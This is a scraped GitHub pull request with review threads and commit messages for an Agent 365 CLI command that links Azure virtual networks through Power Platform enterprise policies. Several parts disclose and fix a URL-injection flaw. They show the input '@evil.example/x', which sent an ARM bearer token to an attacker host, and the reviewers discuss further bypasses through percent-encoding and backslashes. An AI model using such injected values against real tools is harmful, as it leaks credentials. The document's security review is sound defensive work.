You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The documented subnet-injection flow (Learn) ends with Enable-SubnetInjection from the Microsoft.PowerPlatform.EnterprisePolicies module, which takes an -environmentId. Agent 365 provisions a managed Power Platform environment per tenant and does not publish its id, so admins cannot finish the flow today.
These subcommands replace only that last step. Everything before it — creating the subnets, delegating them to Microsoft.PowerPlatform/enterprisePolicies, and New-SubnetInjectionEnterprisePolicy — is unchanged.
The one non-obvious decision
The policy systemId read stays in the CLI rather than in MCP Platform. It is a plain ARM GET against a resource the admin already owns, and doing it client-side with the admin's own az login means the platform needs no delegated ARM user_impersonation consent grant, no ARM endpoint configuration per cloud, and no new security review. The platform side is pure S2S to BAP.
ArmApiService.GetEnterprisePolicySystemIdAsync tries 2020-10-30 then falls back to 2020-10-30-preview; the PowerShell module uses Get-AzResource without an explicit version and the two are both attested in different places.
Exit codes: 1 on Failed or request error, 0 otherwise, including a still-running operation when --wait is absent. That last case is deliberate.
--swap semantics: relinking the same policy is a no-op that succeeds without the flag; a different policy is a conflict unless --swap is passed.
Dependencies
Requires the server side, MCP-Platform PR #3655, which adds POST /agents/vnet/link, /unlink, and GET /agents/vnet/status. The CLI app also needs consent for the new AgentTools.VNet.* scopes.
Review feedback addressed
ARM URL injection.--policy-arm-id was concatenated onto https://management.azure.com (no trailing slash) while the ARM bearer token is a default request header, so --policy-arm-id "@evil.example/x" made management.azure.com userinfo and sent the token to the attacker's host. Now shape-checked against an explicit /subscriptions/{guid}/resourceGroups/../providers/Microsoft.PowerPlatform/enterprisePolicies/.. pattern.
NotStarted counts as in-flight.IsRunning matched only Running, so a queued operation looked terminal to --wait.
Tokens are tenant-targeted. The Agent 365 token was acquired with a login hint but no tenant, leaving the authority at common; the Windows broker ignores the hint and can return a different account -- on a tenant-wide setting that means changing the wrong tenant.
--tenant-id and --yes. Explicit tenant override (blank is rejected rather than silently falling back), and confirmation on the destructive paths: vnet link --swap and vnet unlink. Plain link and status are not gated -- a conflicting link is reported, not replaced, and status is read-only.
CommandNames.Network is now used instead of a duplicate literal.
Tests no longer shell out to az.VNetLinkService takes the repo's existing loginHintResolver seam. Handler bodies are now invoked directly (tenant resolution, service calls, exit codes), not just ReportAsync; 8 of the new cases are malicious --policy-arm-id inputs.
CHANGELOG trimmed to one sentence with the PR reference.
The --wait ceiling now bounds an in-flight poll. The stopwatch only limited the gap between completed polls, so a poll starting inside the budget could run to the HttpClient's two-minute timeout and overshoot. The ceiling is armed on each request's token; a timeout mid-request reports the last known state, a caller's Ctrl+C still propagates.
ArmApiService no longer swallows cancellation. Its broad catch converted the OperationCanceledException that RetryHelper deliberately rethrows into null, so Ctrl+C read as "could not read the policy" and link carried on as if it did not exist.
docs/commands/network.md claimed az login was used "only to read the enterprise policy". It is the source of two defaults -- the tenant and the signed-in account -- and --tenant-id overrides only the first. No token is borrowed from Azure CLI; both the ARM read and the Agent 365 call acquire their own.
Test helper fix worth flagging:FakeAuth configured GetAccessTokenAsync with matchers for 7 of its 8 parameters, omitting the CancellationToken. That pinned the setup to ct == default, so any call carrying a real token missed it and returned null -- no cancellation path was reachable in a test at all.
One finding from that round is not actioned, because I believe it is incorrect: RequiredClientAppPermissions is the CLI app's Microsoft Graph permission list, resolved against the Graph SP's oauth2PermissionScopes, so an Agent 365 Tools scope cannot go in it. Reasoning in this comment.
VNetLinkService.SendAsync no longer rethrows HttpClient's own timeout as cancellation. It surfaces as an OperationCanceledException with no token cancelled, so a bare link, unlink or status threw at the caller instead of returning the documented null and logging the failure. Now rethrows only when the supplied token is actually cancelled, which still covers Ctrl+C and the wait ceiling firing on its linked token — the same shape as the ArmApiService fix in 2e6d896. Found on Add a365 network gsa enable|disable|status #497, which carries the identical code; not flagged here.
A per-request HttpClient no longer disposes a handler it does not own.HttpClientFactory.CreateAuthenticatedClient built the client as new HttpClient(handler), which defaults to disposeHandler: true, so a service that holds one handler as a field and builds a client per request lost that handler to the first client's disposal. Every later request, including every poll after the first, would have failed with ObjectDisposedException against any handler with real disposal semantics. A supplied handler now stays owned by the supplier; a handler the factory creates itself is still disposed with the client.
The enterprise policy ARM id pattern was too strict in one direction and too loose in another. ARM ids are case-insensitive and the portal, CLI and ARM responses emit different casings, so legitimate ids spelled resourcegroups or microsoft.powerplatform were rejected; the pattern is now IgnoreCase, which does not weaken the host pin (that comes from the ^/subscriptions/ anchor). Dot segments were accepted and normalized to a different resource path, so both name segments now carry a ./.. lookahead. The anchor moved from $ to \z, but note that \z alone did not reject a trailing newline — [^/?#]+ absorbed it as part of the policy name; excluding whitespace from both segment classes is what actually rejects it, and ARM names cannot contain whitespace.
Two changes, both from reading the Microsoft.PowerPlatform.EnterprisePolicies module sources to check our split against the supported tool.
Enterprise policies that are not NetworkInjection are now rejected here. The design moved this check to the CLI on the grounds that the CLI holds the whole policy object and can name what is wrong; it never actually landed. Every policy kind carries a systemId, so a CMK or Identity policy read back cleanly and failed later at BAP with an error naming nothing actionable. Six existing tests had ARM payloads with no kind field at all, which is why none of them caught it.
unlink now resolves and sends policySystemId. The platform no longer retains it (MCP-Platform PR #3655, round 2 — the stored copy was a sliding cache entry, which put the recovery path behind a TTL), so a bodyless unlink is rejected. The CLI does the same two reads Disable-SubnetInjection does internally, just client-side: read the linked policy's ARM id from GET /agents/vnet/status, then read that policy from ARM on the admin's own Azure session — which also applies the kind check above.
There is deliberately no bodyless fallback; there is nothing on the platform side left to fall back to. A failed ARM read is a client-side error that names the policy, because the usual cause is that it was deleted from Azure while still linked, and the admin cannot act on that without knowing which one. Nothing-linked short-circuits before any ARM call.
The command surface is unchanged: a365 network vnet unlink still takes no policy argument.
Ordering: this needs MCP-Platform #3655 to ship first. Until it does, an unlink from this build sends a body the deployed platform ignores, which is harmless; after it ships, older CLI builds can no longer unlink. Both are accepted.
The documented subnet-injection flow ends with Enable-SubnetInjection, which
takes the id of the Power Platform environment to link. Agent 365 provisions a
managed environment per tenant and does not publish its id, so admins cannot
finish the flow. These subcommands replace that final step: the platform
resolves the environment server-side and performs the link.
The policy systemId read stays here rather than in the platform. It is a plain
ARM GET against a resource the admin already owns, and doing it client-side with
the admin's own az login avoids giving the platform a delegated ARM consent
grant it otherwise has no need for.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Moderate (1 vote): The ARM request uses a separate MSAL token rather than the Azure CLI token; align the token flow or document separate authentication. Moderate (1 vote): Rethrow OperationCanceledException instead of converting cancellation to a null result.
Moderate (3 votes): Reject explicitly blank --tenant-id values instead of silently resolving the current tenant. Nit (1 vote): Use CommandNames.Network instead of a hard-coded name. Moderate (1 vote): Treat a running operation without an OperationId as a request failure when waiting.
docs/commands/README.md
Command index entries
No findings.
docs/commands/network.md
VNet command documentation
No findings.
CHANGELOG.md
Unreleased feature entry
Nit (3 votes): Keep the changelog entry to one concise consumer-facing sentence and move implementation details to command documentation.
CommandNames.Network is added for this command, but the constructor still hard-codes "network"; sibling registration uses CommandNames.Logs (LogsCommand.cs:19) and the constants documentation centralizes command names. Use the constant so command registration and log naming cannot drift if the name changes.
var networkCommand = new Command("network", "Configure tenant networking for Agent 365");
When --wait is requested and the platform reports Running without an OperationId, this condition skips the wait; the method then returns 0 and prints an unusable --operation-id command. Since the CLI cannot verify completion in this case, treat the malformed response as a request failure (or obtain a status handle) instead of claiming success.
if (wait && VNetLinkService.IsRunning(result.Status) && !string.IsNullOrWhiteSpace(result.OperationId))
{
logger.LogInformation("{Operation} is running. Waiting for it to settle...", operationLabel);
result = await vnetLinkService.WaitForCompletionAsync(result.OperationId, DefaultWaitTimeout, cancellationToken);
This path does not actually use the existing az login access token: EnsureArmHeadersAsync obtains a separate MSAL token, while az account show only supplies the tenant ID. A user with a valid Azure CLI session may therefore be prompted again or use a different cached account. Either pass an ARM token from az account get-access-token, or update the documented prerequisite and flow to describe the separate MSAL authentication.
if (!await EnsureArmHeadersAsync(tenantId, ct))
return null;
This catch also absorbs OperationCanceledException from the HTTP call and converts cancellation into a normal null result. Ctrl+C during the ARM read is therefore reported as a policy-read failure rather than propagating cancellation, unlike the platform request path in VNetLinkService.SendAsync; rethrow cancellation before the general exception handler.
catch (Exception ex)
{
if (NetworkHelper.IsConnectionResetByProxy(ex))
_logger.LogWarning(NetworkHelper.ConnectionResetWarning);
else
The budget is checked only after a status request, and a request can consume the remaining time before the method returns. If a poll starts near the deadline, the 10-minute --wait ceiling can be exceeded by the request timeout; compute the remaining budget before each poll and bound or cancel both the request and delay against that deadline.
The reason will be displayed to describe this comment to others. Learn more.
Requesting changes. The ARM URL construction lets the ARM bearer token be sent to an arbitrary host and needs fixing before merge. Details inline.
The open Copilot threads on this PR are also required, not optional: NotStarted not treated as running (so --wait can return early), blank --tenant-id silently falling back to az account show, the three SetHandler blocks never being invoked in tests, the static AzCliHelper call leaking into the service tests, and the multi-sentence CHANGELOG entry.
Stacking: #497 contains these same commits plus GSA but targets main, so it re-shows this whole diff. Please retarget #497 onto feature/network-vnet-link so it only shows the GSA changes; the VNet comments I left on #497 are really for this PR.
Pin the enterprise-policy ARM id to its expected shape before concatenating it
onto the ARM base URL. The base has no trailing slash and the ARM bearer token
is a default request header, so `--policy-arm-id "@evil.example/x"` produced
`https://management.azure.com@evil.example/x` -- userinfo, not host -- and sent
the token to the attacker. This was the only call site building a URL from
caller input.
Also:
- Treat `NotStarted` as in-flight, matching what network.md documents.
- Acquire the Agent 365 token for the resolved tenant rather than the signed-in
default. `unlink` and `status` gain `--tenant-id` so they can do the same.
- Confirm before `--swap` and `unlink`, with `--yes` for automation. Plain
`link` is not gated: a different existing link is reported as a conflict
rather than replaced, so it is not destructive.
- Reject an explicitly blank `--tenant-id` instead of silently falling back.
- Use `CommandNames.Network` rather than a literal.
- Drive the handlers through `InvokeAsync` in tests. The previous doc comment
claimed `ReportAsync` covered them, but tenant resolution, service calls and
exit codes were untested.
- Stop the VNet tests shelling out to `az account show` via `AzCliHelper`'s
static cache, using the repo's existing `loginHintResolver` seam.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Carries the vnet fixes from #494 (this branch contains that change set) and
applies the same treatment to the gsa subcommands.
Pin the enterprise-policy ARM id to its expected shape before concatenating it
onto the ARM base URL. The base has no trailing slash and the ARM bearer token
is a default request header, so `--policy-arm-id "@evil.example/x"` produced
`https://management.azure.com@evil.example/x` -- userinfo, not host -- and sent
the token to the attacker.
Also:
- Treat `NotStarted` as in-flight, matching what network.md documents.
- Acquire the Agent 365 token for the resolved tenant rather than the signed-in
default. `vnet unlink` and `vnet status` gain `--tenant-id` so they can do the
same; the gsa commands already resolve the az-login tenant themselves.
- Confirm before `vnet link --swap`, `vnet unlink`, `gsa enable` and
`gsa disable`, with `--yes` for automation. Plain `vnet link` is not gated: a
different existing link is reported as a conflict rather than replaced.
- Reject an explicitly blank `--tenant-id` instead of silently falling back.
- Use `CommandNames.Network` rather than a literal.
- Drive every handler through `InvokeAsync` in tests. The previous doc comment
claimed `ReportAsync` covered them, but tenant resolution, confirmation,
service calls and exit codes were untested.
- Stop the VNet tests shelling out to `az account show` via `AzCliHelper`'s
static cache, using the repo's existing `loginHintResolver` seam.
- Trim the CHANGELOG entries and reference #494 and #497.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
…ogin prerequisite
The --wait ceiling only bounded the gap between completed polls, so a poll starting
just inside the budget could run to the HttpClient's own timeout and overshoot by
minutes. The ceiling is now armed on the token each request is made with; a timeout
mid-request reports the last known state, while a caller's Ctrl+C still propagates.
ArmApiService's broad catch swallowed the OperationCanceledException that RetryHelper
deliberately rethrows, so Ctrl+C during the policy read surfaced as "could not read
the policy" and link carried on as though the policy did not exist.
Both test helpers configured GetAccessTokenAsync without a matcher for its 8th
parameter, the CancellationToken, pinning the setup to ct == default. Any call
carrying a real token missed the setup and returned null, which the services report
as a failed token acquisition -- so a test could not exercise any cancellation path
at all. This is why the two new cancellation tests initially failed for the wrong
reason.
docs: the az login prerequisite claimed it was used "only to read the enterprise
policy". It is actually the source of two defaults, the tenant and the signed-in
account, and --tenant-id overrides only the first. Tokens are never borrowed from
Azure CLI -- both the ARM read and the Agent 365 call acquire their own.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
The --wait ceiling didn't bound an in-flight poll. Correct, and the overshoot was up to the HttpClient's two-minute timeout on top of the stated budget. The ceiling is now armed on the token each request is made with. A timeout mid-request reports the last known state; a caller's Ctrl+C still propagates.
docs/commands/network.md overstated the az login prerequisite. Also correct, and wrong in a second way the comment didn't mention: the ARM token isn't an Azure CLI token, it comes from the CLI's own AuthenticationService. Rewritten.
Fixing those surfaced a latent problem in the tests: FakeAuth in both service test classes configured GetAccessTokenAsync with matchers for 7 of its 8 parameters, omitting the CancellationToken. That pins the setup to ct == default, so any call carrying a real token missed it and returned null -- no cancellation path was reachable in a test at all. Fixed in the same commit.
Not fixed, because I believe it's incorrect: AgentTools.VNet.Manage.All is missing from AuthenticationConstants.RequiredClientAppPermissions.
That array is the CLI app's Microsoft Graph permissions. Every entry is a Graph permission, and ClientAppValidator.ResolvePermissionIdsAsync resolves each name against the Graph service principal's oauth2PermissionScopes. Adding an Agent 365 Tools scope would make a365 setup try to configure a Graph permission that doesn't exist, and fail validation.
The Agent 365 Tools token here is acquired as {atgAppId}/.default -- the same way all nine Agent365ToolingService calls do (AddMcpServerAsync, list servers, and the rest). None of them register anything in that array either, and none needed to. If the CLI app does need an explicit ATG delegated grant, that's a pre-existing gap across every Agent 365 Tools call in the CLI, not something this PR introduces, and the fix belongs in the consent flow rather than the Graph permission list.
Happy to be corrected if there's a consent path I've missed.
An explicit empty value (for example, --policy-arm-id "") satisfies IsRequired but reaches LinkAsync and throws ArgumentException. The command does not handle that exception, so the global handler reports the generic "Unexpected error"/bug message instead of a targeted invalid-option error; validate the option here and set exit code 1.
This branch was cut to include PR #494's virtual network work, so the two PRs
duplicated roughly 1400 lines and every VNet review finding had to be answered
twice. GSA never depended on any of it: GsaService talks to the platform
directly and shares only the tenant resolution and confirmation helpers in
NetworkCommand, which both features need.
Removed VNetLinkService, IVNetLinkService, VNetModels and their tests, reverted
ArmApiService and its tests to main, dropped the vnet subcommand tree along with
ReportAsync and LogStatus, and removed the vnet entries from the CHANGELOG and
the docs index. NetworkCommand.CreateCommand and its test helper lose the
IVNetLinkService parameter.
The two branches now both define the network root command and the shared
helpers, so whichever merges second will conflict there. That is a smaller
price than reviewing the same code on two PRs.
2063 passed, 0 failed, 12 skipped.
SendAsync rethrew every OperationCanceledException. HttpClient's own timeout
surfaces as one with no token cancelled, so a bare link, unlink or status threw
at the caller instead of returning the documented null and logging the failure.
It now rethrows only when the supplied token is actually cancelled, which still
covers both a Ctrl+C and the wait ceiling firing on its linked token. Same shape
as the ArmApiService fix in 2e6d896; caught on the GSA PR, which carries the
identical code.
2118 passed, 0 failed, 12 skipped.
The injected _handler is retained across calls, but CreateAuthenticatedClient constructs new HttpClient(handler) and this using disposes it after the first request. A second poll in WaitForCompletionAsync then reuses a disposed handler and returns a false failure, so the public test/custom-handler seam cannot support multi-request operations. Reuse one client for the service lifetime or create the client without transferring ownership of the injected handler.
NotStarted is explicitly treated as an in-flight state by VNetLinkService.IsRunning and is listed in the command documentation, but it is omitted from this public status contract. Include it here so consumers of the model do not incorrectly treat the documented queued state as unknown.
CreateAuthenticatedClient built the client with HttpClient's default handler
ownership, so a caller that holds one handler and builds a client per request
lost the handler to the first client's disposal. VNetLinkService is exactly
that shape, so the second poll of WaitForCompletionAsync would have failed
with ObjectDisposedException against any handler that honours Dispose.
A supplied handler now stays owned by whoever supplied it. Found on #497,
which carries the identical factory; not flagged here.
--wait's ceiling does not cover this await: ResolveLoginHintAsync ultimately runs az account show through a Func<Task<string?>> with no cancellation token, and it executes before the token reaches MSAL/HttpClient. If that subprocess hangs on the first status poll, WaitForCompletionAsync can block beyond its 10-minute ceiling despite the linked token. Make the resolver await observe cancellationToken (for example, await the returned task with WaitAsync(cancellationToken) or change the seam to accept a token).
…nd reject dot segments
ARM ids are case-insensitive and the portal, CLI and ARM itself emit different
casings, so the case-sensitive literals rejected legitimate ids. Dot segments
passed validation and normalized to a different resource path. Whitespace is now
excluded from the segment classes; that, not the \z anchor, is what rejects a
trailing newline, since the old character class absorbed it.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
This resolver is awaited without the request token, so --wait's ceiling and Ctrl+C cannot interrupt az account show when the hint is not already cached. A stalled Azure CLI subprocess can therefore block the first poll indefinitely despite the documented timeout; await the resolver with the supplied cancellation token (or change the resolver seam to accept one).
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the careful iterations on this. I went through the full diff, checked the request/response contract against the platform change it depends on (MCP-Platform PR 3655), and built and ran the suite both on this branch and merged onto current main. Details are inline; the summary:
Before merge
Platform dependency: MCP-Platform PR 3655 has not merged yet, so these commands have nothing to call until it ships.
Scopes (please confirm): the platform rejects any token without the exact scope (AgentTools.VNet.Manage.All for link/unlink, AgentTools.VNet.Read.All for status) with 403 insufficient_scope. This service requests {Agent 365 Tools app}/.default without a client id, so the token comes from the Azure PowerShell public client (1950a258-227b-4e31-a9cf-717495945fc2). Please confirm both scopes are exposed on the Agent 365 Tools app and pre-authorized for that client, in every cloud the CLI targets. If not, every command here returns 403 for every tenant, and the 403 hint points admins at a consent they cannot grant for a Microsoft client.
Rebase onto main:#478 (cloud-aware endpoints) landed after this branched. Merged onto current main the branch builds, but one test fails deterministically (inline on VNetLinkServiceTests.cs, with a verified fix). #478 also added ConfigConstants.GetAgent365ToolsOrigin and an authorityHost parameter that every other Agent 365 Tools call now passes (inline on VNetLinkService.cs).
Interaction with #497: both PRs create the network root command. With this repo's squash merges, whichever lands second conflicts in NetworkCommand.cs, Program.cs, NetworkCommandTests.cs, docs/commands/README.md and CHANGELOG.md (reproduced in both orders). The two groups also behave differently under one parent: vnet has --tenant-id and reads the az account twice (tenant, then login hint), while gsa has no --tenant-id and resolves the account once; gsa enable prompts while a first vnet link does not. Worth settling one set of semantics before the second PR merges.
Verified and looks right
The ARM bearer token can no longer be sent to another host: every malicious id in the new theory is rejected before a request is made.
HttpClient's own timeout is kept distinct from a real cancellation, and cancellation now propagates out of the ARM read.
disposeHandler: false in HttpClientFactory is the right ownership model (the only other caller that passes a handler, DelegatedConsentService, benefits too).
The tenant is threaded into both token requests.
The wire shapes match PR 3655: policySystemId/policyArmId/swap in, status/policyArmId/operationId/reason out, error on failure.
The reason will be displayed to describe this comment to others. Learn more.
High (flaky now, fails after rebase):TimeSpan.Zero arms the wait ceiling at zero, so CancelAfter races the first poll. When the timer wins, WaitForCompletionAsync catches the cancellation and returns last, which is still null, and result.Should().NotBeNull() fails.
On this branch the test fails 5 out of 5 runs on its own: dotnet test --filter "FullyQualifiedName~WaitForCompletionAsync_WhenStillRunningAndBudgetExhausted_ReturnsRunning". It passes in the full suite, presumably because a warm JIT lets the poll win the race.
Merged onto current main it fails in the full suite as well (every run I tried).
Any budget shorter than PollInterval keeps "the first read is also the last" without the race. With the change below the test passes 5 out of 5 on its own, and the full suite passes on this branch merged with main.
Suggested change
// A zero budget cannot fit another poll interval, so the first read is also the last.
The reason will be displayed to describe this comment to others. Learn more.
Medium: the host pin holds (nothing here can send the token off management.azure.com), but the pattern does not yet guarantee that "the validated string should be the string that gets requested". The segment class [^/?#\s] still admits % and \, and Uri normalizes both before the request goes out:
Backslash .. segments after the policy name can also climb out entirely and point the GET at an unrelated resource path (I reproduced one ending in Microsoft.KeyVault/vaults/...). Separately, [0-9a-f-]{36} accepts 36 dashes as a subscription id.
An allowlist of ARM name characters closes all of these. With the pattern below, the existing accept (casing) and reject theories still pass, and the cases above plus %2F and the 36-dash id are rejected without a request (I checked by adding them to ..._WhenArmIdIsNotAnEnterprisePolicyPath_RejectsWithoutCalling). Building the Uri and rejecting when uri.AbsolutePath differs from the input would be an equivalent (or additional) guard.
Nit: the 13-line comment above this field is well reasoned, but the repo guidance asks for one or two lines of why in code, with the rest in the commit message.
The reason will be displayed to describe this comment to others. Learn more.
Medium: only properties.systemId is checked, not the policy's kind. A systemId from another enterprise policy kind (Encryption, Identity, ...) has exactly the same /regions/{region}/providers/Microsoft.PowerPlatform/enterprisePolicies/{guid} shape, so it would be sent for linking and the admin would get a less specific failure from further down the stack. Checking the kind here (the response is already parsed) gives a precise error, for example:
if(!doc.RootElement.TryGetProperty("kind",outvarkind)||!string.Equals(kind.GetString(),"NetworkInjection",StringComparison.OrdinalIgnoreCase)){_logger.LogError("Enterprise policy {PolicyArmId} is not a NetworkInjection policy (kind: {Kind}).",policyArmId,kind.ValueKind==JsonValueKind.String?kind.GetString():"missing");returnnull;}
The policy fixtures in ArmApiServiceTests would need kind added.
The reason will be displayed to describe this comment to others. Learn more.
Low: every 400 is treated as "this api-version is not supported" and the body is discarded, so a 400 for any other reason ends in "Azure rejected every supported enterprise policy api-version reading ...", which sends the admin in the wrong direction. Suggest moving on to the next version only when ARM's error code says the api-version is unsupported (e.g. NoRegisteredProviderFound), and otherwise logging ARM's error.message.
The reason will be displayed to describe this comment to others. Learn more.
Medium: two responses end the wait with the wrong outcome:
Unknown, which the platform returns (as a 200) for an unknown or expired operation id. IsRunning is false, so the wait returns it and ReportAsync exits 0 without the operation ever being seen to finish. status --operation-id <expired or mistyped id> exits 0 as well (NetworkCommand.cs, status handler).
One failed poll.null ends a 10-minute wait on the first transient 5xx or network error with exit 1, while the link may still be running. The operation id from the 202 was never printed (the --wait path skips LogStatus for the initial result), so the admin has no handle to resume with.
Suggest treating Unknown as a non-success terminal state (explain it and exit non-zero, or fall back to a plain status read), tolerating a few consecutive failed polls, and printing the operation id with the resume command whenever the wait gives up.
Related, on the platform side: when the platform itself fails to read the upstream operation it answers 200 {"status": "Failed"}, so a transient upstream error mid-wait is currently indistinguishable from the link failing.
The reason will be displayed to describe this comment to others. Learn more.
Low: only the Agent 365 call uses the az account as a login hint. The ARM policy read (EnsureArmHeadersAsync) passes the tenant but no login hint, so with several cached accounts in the same tenant the two calls can sign in as different users. Either pass the same hint to the ARM read or narrow this sentence.
The reason will be displayed to describe this comment to others. Learn more.
Low: the platform never returns NotStarted (a queued upstream operation is reported as Running), and Unknown is missing: it is what status --operation-id returns for an unknown or expired id. Suggest making this row Running only and adding an Unknown row that says what the admin should do next.
The reason will be displayed to describe this comment to others. Learn more.
Low: step 1 uses the old sample-script syntax (./SubnetInjection/NewSubnetInjectionEnterprisePolicy.ps1 -subscription ...), while this page and the Learn article point to the module cmdlet: New-SubnetInjectionEnterprisePolicy -SubscriptionId ... -ResourceGroupName ... -PolicyName ... -PolicyLocation ... -VirtualNetworkId ... -SubnetName .... Two related gaps from the Learn flow:
Geographies with two supported regions (e.g. unitedstates) need a second VNet (-VirtualNetworkId2 / -SubnetName2).
If the admin running link did not create the policy, they need read access on it (Learn step 4), since the CLI reads it with their identity.
**Option B — CLI** (`a365 setup admin`) has been removed in this release. Use Option A above, or copy the PowerShell instructions printed in the `a365 setup all` summary output.
### Added
- `a365 network vnet link|unlink|status` — links an Azure virtual network to Agent 365 through a Power Platform NetworkInjection enterprise policy, replacing `Enable-SubnetInjection` (#494). Requires Global Administrator or Power Platform Administrator. See [docs/commands/network.md](docs/commands/network.md).
The reason will be displayed to describe this comment to others. Learn more.
Nit: the repo guidance (.github/copilot-instructions.md, "CHANGELOG", and CLAUDE.md) asks for one consumer-facing sentence per [Unreleased] entry, since the section ships verbatim to nuget.org. This is three sentences, and no other entry uses a relative link (it will not resolve outside GitHub). Suggestion: "a365 network vnet link|unlink|status links an Azure virtual network enterprise policy to your Agent 365 environment (#494)."
The reason will be displayed to describe this comment to others. Learn more.
Nit:Substitute.For<ArmApiService>() runs the parameterless constructor, which builds a real AuthenticationService (it creates %LocalAppData%\Microsoft.Agents.A365.DevTools.Cli and deletes any legacy token file on the machine running the tests). Passing constructor arguments avoids that, and all 49 tests in this class still pass with it:
The design moved the kind check to the CLI on the grounds that it holds the full
policy object and can produce a better error than BAP. It never landed. Every
enterprise policy kind carries a systemId, so a CMK or Identity policy read back
cleanly and failed later at BAP with an error naming nothing actionable.
Six existing tests had ARM payloads with no kind at all, which is why none of
them caught it.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
The platform no longer retains the systemId, so a bodyless unlink is now
rejected. Resolve it here instead, doing the same two reads
Disable-SubnetInjection does internally: read the linked policy's ARM id from
the status endpoint, then read that policy from ARM on the admin's own Azure
session.
No bodyless fallback -- there is nothing on the platform side to fall back to.
A failed ARM read names the policy, because the usual cause is that it was
deleted from Azure while still linked and the admin cannot act on that without
knowing which one.
The command surface is unchanged: unlink still takes no policy argument.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
github-actions
Bot
added
documentation
Rick Brighenti (rbrighenti)
left a comment
Krishnadheeraj (DheerajPannala)
left a comment
Adds
a365 network vnet link|unlink|status.Why
The documented subnet-injection flow (Learn) ends with
Enable-SubnetInjectionfrom theMicrosoft.PowerPlatform.EnterprisePoliciesmodule, which takes an-environmentId. Agent 365 provisions a managed Power Platform environment per tenant and does not publish its id, so admins cannot finish the flow today.These subcommands replace only that last step. Everything before it — creating the subnets, delegating them to
Microsoft.PowerPlatform/enterprisePolicies, andNew-SubnetInjectionEnterprisePolicy— is unchanged.The one non-obvious decision
The policy
systemIdread stays in the CLI rather than in MCP Platform. It is a plain ARM GET against a resource the admin already owns, and doing it client-side with the admin's ownaz loginmeans the platform needs no delegated ARMuser_impersonationconsent grant, no ARM endpoint configuration per cloud, and no new security review. The platform side is pure S2S to BAP.ArmApiService.GetEnterprisePolicySystemIdAsynctries2020-10-30then falls back to2020-10-30-preview; the PowerShell module usesGet-AzResourcewithout an explicit version and the two are both attested in different places.What a reviewer should check
VNetLinkService.WaitForCompletionAsync— 10s poll, 10min default ceiling, Stopwatch-based.1onFailedor request error,0otherwise, including a still-running operation when--waitis absent. That last case is deliberate.--swapsemantics: relinking the same policy is a no-op that succeeds without the flag; a different policy is a conflict unless--swapis passed.Dependencies
Requires the server side, MCP-Platform PR #3655, which adds
POST /agents/vnet/link,/unlink, andGET /agents/vnet/status. The CLI app also needs consent for the newAgentTools.VNet.*scopes.Review feedback addressed
--policy-arm-idwas concatenated ontohttps://management.azure.com(no trailing slash) while the ARM bearer token is a default request header, so--policy-arm-id "@evil.example/x"mademanagement.azure.comuserinfo and sent the token to the attacker's host. Now shape-checked against an explicit/subscriptions/{guid}/resourceGroups/../providers/Microsoft.PowerPlatform/enterprisePolicies/..pattern.NotStartedcounts as in-flight.IsRunningmatched onlyRunning, so a queued operation looked terminal to--wait.common; the Windows broker ignores the hint and can return a different account -- on a tenant-wide setting that means changing the wrong tenant.--tenant-idand--yes. Explicit tenant override (blank is rejected rather than silently falling back), and confirmation on the destructive paths:vnet link --swapandvnet unlink. Plainlinkandstatusare not gated -- a conflicting link is reported, not replaced, andstatusis read-only.CommandNames.Networkis now used instead of a duplicate literal.az.VNetLinkServicetakes the repo's existingloginHintResolverseam. Handler bodies are now invoked directly (tenant resolution, service calls, exit codes), not justReportAsync; 8 of the new cases are malicious--policy-arm-idinputs.Second review round (2e6d896)
--waitceiling now bounds an in-flight poll. The stopwatch only limited the gap between completed polls, so a poll starting inside the budget could run to the HttpClient's two-minute timeout and overshoot. The ceiling is armed on each request's token; a timeout mid-request reports the last known state, a caller's Ctrl+C still propagates.ArmApiServiceno longer swallows cancellation. Its broad catch converted theOperationCanceledExceptionthatRetryHelperdeliberately rethrows intonull, so Ctrl+C read as "could not read the policy" andlinkcarried on as if it did not exist.docs/commands/network.mdclaimedaz loginwas used "only to read the enterprise policy". It is the source of two defaults -- the tenant and the signed-in account -- and--tenant-idoverrides only the first. No token is borrowed from Azure CLI; both the ARM read and the Agent 365 call acquire their own.FakeAuthconfiguredGetAccessTokenAsyncwith matchers for 7 of its 8 parameters, omitting theCancellationToken. That pinned the setup toct == default, so any call carrying a real token missed it and returned null -- no cancellation path was reachable in a test at all.One finding from that round is not actioned, because I believe it is incorrect:
RequiredClientAppPermissionsis the CLI app's Microsoft Graph permission list, resolved against the Graph SP'soauth2PermissionScopes, so an Agent 365 Tools scope cannot go in it. Reasoning in this comment.Third round (fcfa121, 419e2f3)
VNetLinkService.SendAsyncno longer rethrows HttpClient's own timeout as cancellation. It surfaces as anOperationCanceledExceptionwith no token cancelled, so a barelink,unlinkorstatusthrew at the caller instead of returning the documented null and logging the failure. Now rethrows only when the supplied token is actually cancelled, which still covers Ctrl+C and the wait ceiling firing on its linked token — the same shape as theArmApiServicefix in 2e6d896. Found on Add a365 network gsa enable|disable|status #497, which carries the identical code; not flagged here.A per-request
